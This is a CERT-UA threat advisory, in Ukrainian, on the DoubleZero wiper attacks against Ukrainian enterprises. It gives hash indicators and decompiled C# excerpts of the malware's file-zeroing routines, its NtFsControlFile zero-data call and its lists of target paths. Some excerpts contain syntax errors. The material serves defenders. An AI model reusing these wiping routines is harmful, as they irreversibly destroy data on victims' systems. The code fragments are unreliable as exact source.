

# Кібератака на українські підприємства з використанням програми-деструктора DoubleZero (CERT-UA#4243)

Кібератака на українські підприємства з використанням програми-деструктора DoubleZero (CERT-UA#4243)

## Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA 17.03.2022 виявлено декілька ZIP-архівів, один з яких мав назву "Вірус... крайне опасно!!!.zip". Кожен з архівів містить обфусковану .NET-програму. В результаті проведеного аналізу виявлені програми класифіковано як DoubleZero - шкідлива програма-деструктор, розроблена з використанням мови програмування C#. Для знищення файлів використовує два способи: перезапис файлів нульовими блоками по 4096 байт (метод FileStream.Write) або ж за допомогою API-викликів NtFileOpen, NtFsControlFile (код: FSCTL\_SET\_ZERO\_DATA). Спочатку здійснюється перезапис всіх несистемних файлів на всіх дисках. Після цього складається перелік системних файлів за маскою, здійснюється їхнє сортування та подальший перезапис у відповідній послідовності. Надалі знищуються гілки реєстру Windows: HKCU, HKU, HKLM, HKLM\BCD. Насамкінець комп'ютер вимикається.

Активність відстежується за ідентифікатором UAC-0088 та має безпосереднє відношення до спроб порушення штатного режиму функціонування інформаційних систем українських підприємств.

## Індикатори компрометації

### Файли:

36dc2a5bab2665c88ce407d270954d04	
d897f07ae6f42de8f35e2b05f5ef5733d7ec599d5e786d3225e66ca605a48f53	Вірус...
крайне опасно!!!.zip	
989c5de8ce5ca07cc2903098031c7134	
8dd8b9bd94de1e72f0c400c5f32dcefc114cc0a5bf14b74ba6edc19fd4aeb2a5	csrss.zip
7d20fa01a703afa8907e50417d27b0a4	
3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe	cpcrs.exe
(DoubleZero)	
b4f0ca61ab0c55a542f32bd4e66a7dc2	
30b3cbe8817ed75d8221059e4be35d5624bd6b5dc921d4991a7adc4c3eb5de4a	csrss.exe
(DoubleZero)	

## Графічні зображення:

```

public static void ZeroOutFile(GClass3 gclass3_0)
{
    bool flag = false;
    if (flag = ZeroOutFile2(gclass3_0.String_0);
    {
        return;
    }
    try
    {
        ZeroOutFile1(gclass3_0.String_0);
    }
    catch (Exception)
    {
    }
}

public static bool ZeroOutFile1(string string_0)
{
    using (FileStream fileStream = new FileStream(string_0, FileMode.Open, FileAccess.ReadWrite))
    {
        byte[] array2 = new byte[4096];
        while (fileStream.Position < fileStream.Length)
        {
            long num4 = fileStream.Length - fileStream.Position;
            if (array2.Length > num4)
            {
                fileStream.Write(array2, 0, (int)num4);
            }
            else
            {
                fileStream.Write(array2, 0, array2.Length);
            }
        }
    }
    return true;
}

```

```

public static bool ZeroOutFile2(string string_0)
{
    SafeFileHandle safeFileHandle = null;
    GClass6.GStruct2 gstruct2 = default(GClass6.GStruct2);
    GClass6.GStruct0 gstruct0 = default(GClass6.GStruct0);
    string string_1 = string_0;
    GClass6.GStruct1 gstruct1 = new GClass6.GStruct1(string_1);
    IntPtr IntPtr = Marshal.AllocHGlobal(Marshal.SizeOf((object)gstruct1));
    Marshal.StructureToPtr((object)gstruct1, IntPtr, false);
    gstruct2..ulong_0 = (ulong)Marshal.SizeOf((object)gstruct2);
    gstruct2..IntPtr_0 = IntPtr.Zero;
    gstruct2..IntPtr_1 = IntPtr;
    gstruct2..ulong_1 = 64ul;
    gstruct2..IntPtr_2 = IntPtr.Zero;
    gstruct2..IntPtr_3 = IntPtr.Zero;

    uint num = GClass6.NativeOpenFileOut(safeFileHandle, 0xC0100000, ref gstruct2, ref gstruct0, 7ul, 32ul);
    ulong ulong_1 = 6ul;
    GClass6.GetFileSize(safeFileHandle, out ulong_1);
    GClass6.GStruct3 gstruct3 = default(GClass6.GStruct3);
    gstruct3.ulong_1 = ulong_1;
    IntPtr IntPtr2 = IntPtr.Zero;
    try
    {
        IntPtr2 = Marshal.AllocHGlobal(Marshal.SizeOf((object)gstruct3));
        Marshal.StructureToPtr((object)gstruct3, IntPtr2, false);
        num = GClass6.NativeControlFile(safeFileHandle, IntPtr.Zero, IntPtr.Zero, ref gstruct0, 622792ul, IntPtr2, (ulong)Marshal.SizeOf((object)gstruct3), IntPtr.Zero, (ulong)0);
    }
    finally
    {
        GClass6.CloseHandle(safeFileHandle, DangerousGetHandle());
    }
    return num == 0;
}

```

```

{
    private const string string_0 = "Microsoft";
    private const string string_1 = "Windows";
    private const string string_2 = "drivers";
    private const string string_3 = "NTDS";
    private const string string_4 = "Microsoft.NET";
    private const string string_5 = "Fonts";
    private const string string_6 = "Documents and Settings";
    private const string string_7 = "ProgramData";
    private const string string_8 = "Application Data";
    private const string string_9 = "Users";
    private const string string_10 = "All Users";
    private const string string_11 = "Default User";
    private const string string_12 = "AppData";
    private const string string_13 = "Local";
    private const string string_14 = "Roaming";
    private const string string_15 = "Local Settings";
    private const string string_16 = "Start Menu";
    private const int int_0 = 5;
    private static string string_17 = Path.Combine(GetSystemRoot(), "Windows");
    private static string string_18 = Path.Combine(GetSystemRoot(), "Windows", "Microsoft.NET");
    public static readonly IEnumerable<Regex> enumerable_0 = new List<Regex>
    {
        new Regex(GetSystemRoot() + "\\Users\\*.*\\Local Settings.*", (RegexOptions)9),
        new Regex(GetSystemRoot() + "\\Users\\*.*\\AppData\\Local\\Microsoft.*", (RegexOptions)9),
        new Regex(GetSystemRoot() + "\\Users\\*.*\\Start Menu.*", (RegexOptions)9),
        new Regex(GetSystemRoot() + "\\Users\\*.*\\Application Data.*", (RegexOptions)9),
        new Regex(GetSystemRoot() + "\\ProgramData\\Microsoft.*", (RegexOptions)9)
    };
    public static readonly IEnumerable<Regex> enumerable_1 = new List<Regex>();
    public static readonly IEnumerable<Regex> enumerable_2 = new List<Regex>
    {
        new Regex(GetSystemRoot() + "\\Users\\*.*\\AppData\\Local\\Microsoft.*", (RegexOptions)9),
        new Regex(GetSystemRoot() + "\\Users\\*.*\\AppData\\Roaming\\Microsoft.*", (RegexOptions)9)
    };
    public static readonly IEnumerable<Regex> enumerable_3 = new List<Regex>();
    public static readonly IEnumerable<string> enumerable_4 = new List<string>
    {
        Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)),
        Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles64)),
        Path.Combine(GetSystemRoot(), "Documents and Settings"),
        Path.Combine(GetSystemRoot(), "ProgramData", "Application Data"),
        Path.Combine(GetSystemRoot(), "Users", "All Users"),
        Path.Combine(GetSystemRoot(), "Users", "Default User")
    };
    public static readonly IEnumerable<string> enumerable_5 = new List<string> { Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers") };
    public static readonly IEnumerable<string> enumerable_6 = new List<string> { Path.Combine(GetSystemRoot(), "Windows", "NTDS") };
    public static readonly IEnumerable<string> enumerable_7 = new List<string> { Path.Combine(GetSystemRoot(), "Windows") };
    public static string GetSystemRoot()
    {
        return Path.GetPathRoot(Environment.SystemDirectory);
    }
    public static int GetOSVersionMajor()
    {
        return Environment.OSVersion.Version.Major;
    }
}

```